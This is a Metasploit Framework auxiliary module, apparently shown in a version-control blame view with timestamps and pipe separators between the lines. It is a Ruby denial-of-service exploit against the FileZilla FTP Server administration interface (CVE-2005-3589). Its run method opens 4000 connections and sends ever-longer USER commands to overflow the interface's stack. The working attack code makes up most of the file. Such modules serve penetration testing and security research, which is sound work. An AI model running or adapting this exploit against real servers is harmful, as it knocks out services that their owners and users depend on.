2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-30 22:24:22 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-04-30 08:40:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-12-30 22:24:22 +00:00
|
|
|
'Name' => 'FileZilla FTP Server Admin Interface Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module triggers a Denial of Service condition in the FileZilla FTP
|
|
|
|
Server Administration Interface in versions 0.9.4d and earlier.
|
|
|
|
By sending a procession of excessively long USER commands to the FTP
|
|
|
|
Server, the Administration Interface (FileZilla Server Interface.exe)
|
|
|
|
when running, will overwrite the stack with our string and generate an
|
|
|
|
exception. The FileZilla FTP Server itself will continue functioning.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '15346' ],
|
|
|
|
[ 'CVE', '2005-3589' ],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/1336' ],
|
|
|
|
[ 'OSVDB', '20817' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 07 2005'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Sending 4000 packets, this may take a while.")
|
|
|
|
|
|
|
|
4000.times do |x|
|
|
|
|
connect
|
|
|
|
sock.put("USER #{"A" * x}\r\n")
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2009-01-11 14:38:10 +00:00
|
|
|
end
|